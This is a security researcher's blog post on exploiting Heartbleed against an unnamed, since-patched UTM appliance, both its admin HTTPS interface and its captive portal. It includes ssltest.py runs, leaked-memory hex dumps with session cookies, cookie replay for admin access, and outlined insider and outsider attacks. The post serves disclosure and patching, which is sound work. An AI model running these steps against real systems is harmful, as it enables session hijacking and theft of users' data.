Heartbleed by proxy

Posted on

With all the kerfuffle this week regarding Heartbleed, I thought I’d join the fray and look for somewhere interesting that it could be exploited. I didn’t want to focus on what was already being well-covered - things like scanning the Alexa Top 500 or otherwise hitting public sites (plus I didn’t want to run afoul of any computer abuse laws) so I had a play with an appliance that does HTTPS MitM proxying of connections.

Bleeding Hearts

The bug that needs no introduction but is getting one anyway, CVE-2014-0160 TLS heartbeat read overrun in OpenSSL was advised of by OpenSSL and released with fanfare at http://heartbleed.com on 7 April 2014. It allows an attacker to leak up to 64kB of memory contents from a client or server using OpenSSL 1.0.1 through 1.0.1f. The initial fervour around this bug was due to the potential of leaking private keys, but considerable attention has shifted to the much more achievable aspect - leaking sensitive request data from servers, including previously requested URL’s, POST data and cookies.

The Device

The victim^H^H^H^H^H^Hdevice that I took the chance to look at is a Unified Threat Management device that provides, among other features:

Like others of its kind, it sits as a transparent or NAT-ing bump in the wire somewhere, such as between internal networks and the Internet:

(Internet) --- [UTM Device] --- (Gooey internal network)

Attack 1 - Management HTTPS interface

Simple things first - the device supports configuration over HTTPS. Is this service using a vulnerable version of OpenSSL? Let’s find out using the ssltest.py POC by Jared Stafford. I chose to use the one that ships with Lekensteyn’s pacemaker POC, because I was already playing with pacemaker and Jared’s one was down as of when I tried to grab it. I assume they’re the same thing… :s

First, a crack at the device when freshly rebooted:

# Note: we grep out lines with all null-bytes
# I don't like having to scroll more than necessary
% ./ssltest.py 10.99.2.4 | grep -Ev '(00 ){16}'
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 58
 ... received message: type = 22, ver = 0302, length = 1831
 ... received message: type = 22, ver = 0302, length = 397
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00  ....#...........

WARNING: server returned more data than it should - server is vulnerable!

This isn’t good. OpenSSL is giving us some data in response to the crafted heartbeat request. There is a good chance that if the device wasn’t so freshly rebooted, there would be some sensitive data returned in amongst the leak.

Let’s log in to the HTTPS management interface and then see if any sensitive data is coughed up by the vulnerable OpenSSL:

% ./ssltest.py 10.99.2.4 | grep -Ev '(00 ){16}'
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 58
 ... received message: type = 22, ver = 0302, length = 1831
 ... received message: type = 22, ver = 0302, length = 397
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 6C 2C 61 70  ....#.......l,ap
  00e0: 70 6C 69 63 61 74 69 6F 6E 2F 78 68 74 6D 6C 2B  plication/xhtml+
  00f0: 78 6D 6C 2C 61 70 70 6C 69 63 61 74 69 6F 6E 2F  xml,application/
  0100: 78 6D 6C 3B 71 3D 30 2E 39 2C 2A 2F 2A 3B 71 3D  xml;q=0.9,*/*;q=
  0110: 30 2E 38 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67  0.8..Accept-Lang
  0120: 75 61 67 65 3A 20 65 6E 2D 55 53 2C 65 6E 3B 71  uage: en-US,en;q
  0130: 3D 30 2E 35 0D 0A 41 63 63 65 70 74 2D 45 6E 63  =0.5..Accept-Enc
  0140: 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 20 64 65 66  oding: gzip, def
  0150: 6C 61 74 65 0D 0A 52 65 66 65 72 65 72 3A 20 68  late..Referer: h
  0160: 74 74 70 73 3A 2F 2F 31 30 2E 39 39 2E 32 2E 34  ttps://10.99.2.4
  0170: 2F XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  /XXXXXXXXXXXXXXX
  0180: XX XX XX XX XX XX XX XX XX XX XX XX XX XX 0D 0A  XXXXXXXXXXXXXX..
  0190: 43 6F 6F 6B 69 65 3A 20 XX XX XX XX XX XX XX XX  Cookie: session_
  01a0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  id=supersecretse
  01b0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  ssioncookieXXXXX
  01c0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  01d0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  01e0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  01f0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  0200: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  0210: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  0220: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  0230: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  0240: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  0250: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  0260: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  0270: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  0280: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  0290: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  02a0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  02b0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  02c0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  02d0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  02e0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  02f0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  0300: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  XXXXXXXXXXXXXXXX
  0310: XX XX XX XX XX XX XX XX XX XX 0D 0A 43 6F 6E 6E  XXXXXXXXXX..Conn
  0320: 65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61 6C 69  ection: keep-ali
  0330: 76 65 0D 0A 0D 0A E2 26 8A A1 AD FD E2 57 F8 3E  ve.....&.....W.>
  0340: 97 3A 79 D6 0D 8F E3 9F 1F 35 05 05 05 05 05 05  .:y......5......
  0350: 28 AE 7A 54 B9 05 B9 82 A7 7F 5F BB 54 D1 9E DE  (.zT......_.T...
  0360: 95 6C 86 AB F8 26 59 1C C5 70 4E 38 84 9C D4 4C  .l...&Y..pN8...L
  0370: F8 9E F8 7B 19 00 00 00 00 00 00 00 00 00 00 00  ...{............

I’ve redacted some identifying information from dumps throughout this post (I even remembered to redact the accompanying hex! I’m rather proud of myself for that) - for more info, see the “So, which device were you targeting?” section.

So, this is bad. This is very bad. We’ve managed to leak a cookie named ‘session_id’ with a value of ‘supersecretsessioncookie’ (name and value changed to protect the somewhat innocent). Surely the admin session cookie is tied to the IP address of the host that logged in, and if we went and dropped it into our own browser and hit the HTTPS management page we wouldn’t find ourselves logged in to the device.

Dropping the cookie into our browser, as an attacker, does indeed let us access the HTTPS management interface as an admin user.

Now, this is largely mitigated by the fact that best practices for infrastructure management interfaces suggest that they should not be accessible by non-privileged hosts. Unfortunately, we know that despite the name, best practices are often not best practised in the real world, and we can only imagine (or ask Shodan) how many HTTPS management interfaces are not just exposed to untrusted internal hosts, but to the whole Internet.

Attack 2 - Captive Portal functionality

This is where things start to get interesting. Where might OpenSSL be used on the device in a more ‘user-facing’ way? I considered the Captive Portal functionality of the unit. In brief, it works as follows:

  1. User appears on the network, for example, by jumping on a guest Wi-Fi SSID.
  2. User tries to get to the web, on port 80 or 443.
  3. Device ‘captures’ the user’s request, and returns HTTP 200 with the Terms and Conditions of the network.
  4. User clicks the ‘I agree that my traffic may be monitored and this network comes with no warranty and I solemnly swear I am not up to no good’ button. The user’s MAC address is then blessed and authorised for Internet access.
  5. User is then redirected to their originally requested URL. Further requests go through un-intercepted.

Now, if the initial request that the user makes is a HTTP request, it’s a simple affair for the device to capture the user and return its own HTTP 200 with Terms and Conditions payload. If the initial request is HTTPS however, a Captive Portal has the following options:

  • Allow the connection out unhindered. Not terribly desirable, the user has accessed the web without having accepted Terms and Conditions (and if the Captive Portal requires credentials to log on to the network, has achieved authentication bypass).
  • Drop the connection. Very user-unfriendly, they won’t know why the “Internet is broken”.
  • Intercept the connection. Quite user-unfriendly, they’re going to get a certificate warning and if they accept the warning, they are leaking data that the site intended to be kept secret to us (query string, cookies, etc.)

In the case of the device I was looking at, it took the third option - intercept the connection using a self-signed certificate, throwing a browser warning. Some users will click through this warning (because hey, they want some Internet) and some will do the smart thing and try to browse to a HTTP service to get the Terms and Conditions (leaking some cookies, but ones that were fair game for sniffing anyway).

This is how it looks in practice for HTTP

% curl -v google.com
* About to connect() to google.com port 80 (#0)
*   Trying 74.125.237.163...
* connected
* Connected to google.com (74.125.237.163) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.26.0
> Host: google.com
> Accept: */*
>
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 200 OK
< Content-Length: XXX
< Connection: close
< Cache-Control: no-cache
< Content-Type: text/html
<
TERMS AND CONDITIONS OF NETWORK GO HERE

And for HTTPS

% curl -v -k https://google.com
* About to connect() to google.com port 443 (#0)
*   Trying 74.125.237.168...
* connected
* Connected to google.com (74.125.237.168) port 443 (#0)
* successfully set certificate verify locations:
*   CAfile: none
  CApath: /etc/ssl/certs
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using XXX
* Server certificate:
*        subject: XXX
*        start date: XXX
*        expire date: XXX
*        issuer: XXX
*        SSL certificate verify result: self signed certificate (18), continuing anyway.
> GET / HTTP/1.1
> User-Agent: curl/7.26.0
> Host: google.com
> Accept: */*
> 
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 200 OK
< Content-Length: XXX
< Connection: close
< Cache-Control: no-cache
< Content-Type: text/html
< 
TERMS AND CONDITIONS OF NETWORK STILL GO HERE

In the case of HTTPS, we had to use curl with the -k option to ignore the fact that we were about to get a bad certificate for the site. We can see in the Server certificate section that we did indeed end up with a self-signed cert for google.com. HTTPS interception at work here, doing what it’s designed to do.

Now - what if jump on the network as a fresh user (one whose MAC address isn’t enrolled for access) and fire our heartbleed cannon at any IP address “beyond” the device? Let’s find out, first of all with a fresh boot of the device:

% ./ssltest.py 8.8.8.8 | grep -Ev '(00 ){16}'
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 58
 ... received message: type = 22, ver = 0302, length = 752
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00  ....#...........

WARNING: server returned more data than it should - server is vulnerable!

Whoa, what happened here? We heartbled at https://8.8.8.8 and we got some memory contents back. Interesting. Now, https://8.8.8.8 doesn’t exist, but this doesn’t matter - we know that the UTM device will dutifully try to intercept any request in order to serve us the network Terms and Conditions, and it looks like they’re intercepting us with a vulnerable OpenSSL. Scary stuff. What if we pump some sensitive data in and try to pull it out…

The pump:

# Note that I had to tell curl to use a super long user agent string
# Otherwise, the entirety of curl's request was being clobbered by new data on the heartbeat attempts
# Browsers usually help us out here with things like their longer UA's and 'Accept-*' headers
# This had me scratching my head for longer than I like to admit

% curl -v -k --cookie 'secret_data=superSecretStuff' --user-agent "$(python -c'print"long user agent string "*10')" https://google.com
* About to connect() to google.com port 443 (#0)
*   Trying 74.125.237.161...
* connected
* Connected to google.com (74.125.237.161) port 443 (#0)
* successfully set certificate verify locations:
*   CAfile: none
  CApath: /etc/ssl/certs
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using XXX
* Server certificate:
*        subject: XXX
*        start date: XXX
*        expire date: XXX
*        issuer: XXX
*        SSL certificate verify result: self signed certificate (18), continuing anyway.
> GET / HTTP/1.1
> User-Agent: long user agent string long user agent string long user agent string long user agent string long user agent string long user agent string long user agent string long user agent string long user agent string long user agent string 
> Host: google.com
> Accept: */*
> Cookie: secret_data=superSecretStuff
> 
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 200 OK
< Content-Length: XXX
< Connection: close
< Cache-Control: no-cache
< Content-Type: text/html
<
YOU GUESSED IT NETWORK TERMS AND CONDITIONS STILL GO HERE

And the dump:

% ./ssltest.py 4.2.2.2 | grep -Ev '(00 ){16}'                                                                                         
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 58
 ... received message: type = 22, ver = 0302, length = 752
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 6C 6F 6E 67  ....#.......long
  00e0: 20 75 73 65 72 20 61 67 65 6E 74 20 73 74 72 69   user agent stri
  00f0: 6E 67 20 6C 6F 6E 67 20 75 73 65 72 20 61 67 65  ng long user age
  0100: 6E 74 20 73 74 72 69 6E 67 20 0D 0A 48 6F 73 74  nt string ..Host
  0110: 3A 20 67 6F 6F 67 6C 65 2E 63 6F 6D 0D 0A 41 63  : google.com..Ac
  0120: 63 65 70 74 3A 20 2A 2F 2A 0D 0A 43 6F 6F 6B 69  cept: */*..Cooki
  0130: 65 3A 20 73 65 63 72 65 74 5F 64 61 74 61 3D 73  e: secret_data=s
  0140: 75 70 65 72 53 65 63 72 65 74 53 74 75 66 66 0D  uperSecretStuff.
  0150: 0A 0D 0A 5E AA CF 09 62 6E 76 31 76 6B A2 2D 1F  ...^...bnv1vk.-.
  0160: 3E 62 CA 00 00 00 00 00 00 00 00 00 00 00 00 00  >b..............

WARNING: server returned more data than it should - server is vulnerable!

We have our superSecretStuff cookie in the response! I have confirmed that this, of course, works a treat for looking at other users’ secret stuff, not just your own. Ouch. However, keep in mind that this will only gain you things that other users leaked to the Captive Portal page in their initial request, having accepted the certificate warning when they were captured. Ongoing requests don’t hit OpenSSL.

Attack 3 - Web Content Filtering and DLP functionality

Captive portal functionality actually happened to be the first thing I tried heartbleed against, and I was a bit excited but mostly horrified when it worked. My mind was racing at the implications of using heartbleed against more commonly deployed (and hit) features, such as HTTPS MitM for Web Content Filtering and DLP functionality. In these two cases, it is not just the first request to the web that warrants interception of HTTP and HTTPS, all HTTP and HTTPS needs to be unwrapped and inspected by the device - the use case for the features is to prevent dangerous or inappropriate material from reaching the browser (Web Content Filtering) and to prevent sensitive data from intentionally or unintentionally leaving the organisation (Data Loss Prevention, or DLP).

The way UTM devices that offer such ongoing HTTPS MitM functionality work is by having an organisationally ‘blessed’ CA certificate (basically a rogue CA cert) distributed to all endpoints’ trust stores, such as by Group Policy. The device is then free to MitM all HTTPS connections, in effect creating two HTTPS connections - one from the site to the UTM device, and one from the UTM device to the browser:

(Site) --- (Internet) --- [UTM Device] --------------- (Browser)
{--- HTTPS connection 1 ---}        {--- HTTPS connection 2 ---}

In the above case, HTTPS connection 1 is from the Site to the UTM device (with a real CA signed certificate) and HTTPS connection 2 is from the UTM device to the user’s browser (with a organisation-CA signed certificate).

Now, I thought that if the HTTPS management interface ran a vulnerable OpenSSL, and the Captive Portal functionality leveraged a vulnerable OpenSSL, then surely the HTTPS MitM behind Web Content Filtering ran a vulnerable OpenSSL as well. In the case of the particular device I looked at, it did not. This makes some sense - the device must run its own httpd to serve up the management service and Captive Portal page, which happens to use OpenSSL, but the engine that does bulk MitM does not necessarily need to pass through the same mechanics (it’s probably offloaded into ASICs, too). Sorry to let you down, but don’t get me wrong - this is a very good thing, and prevents what could have been absolutely horrible exposure:

  • As an insider, heartbleed any HTTPS site on port 443 to have the connection dutifully intercepted by the UTM device, which will leak to us memory that likely contains sensitive data from other users’ HTTPS connections (much like the attack on the captive portal, above, but with much more ongoing data)
  • As an outsider, have an insider connect to our HTTPS site on port 443 which will be dutifully intercepted by the UTM device. Once we have a connection open to the UTM device (which we are to think is the user’s browser) we go and send a malicious heartbeat down the line, along the lines of Lekensteyn’s Pacemaker. This could leak back to us the contents of memory that, again, likely contains sensitive data from the HTTPS connections belonging to users on the network. This is terrifying.

I’m sure there is kit out there that is vulnerable to these sorts of attacks. If you come across it, please let the vendor know and please do what you can to make sure people patch their stuff.

So, which device were you targeting?

I’m not out to paint a target on any one vendor. The fact is, there are likely multiple hardware or software appliances from multiple vendors that suffer from this issue by using a vulnerable OpenSSL to proxy users’ HTTPS. Some of them will have updates available by now, some might not. The particular device that I had a look at has been patched, and an update from the vendor is available. I don’t think naming and shaming is of much help at this stage.

The main takeaway is that you should look at the appliances in your environment such as ones that proxy HTTPS by design, ask your vendors if they have investigated the impact of CVE-2014-0160 on their products (or have a look yourself) and update your gear to protect you and your users from this issue. This issue reaches far beyond just HTTP daemons.

OpenSSL is in use in weird and wonderful places. We’re off to a good start with public knowledge of this bug, let’s keep at it.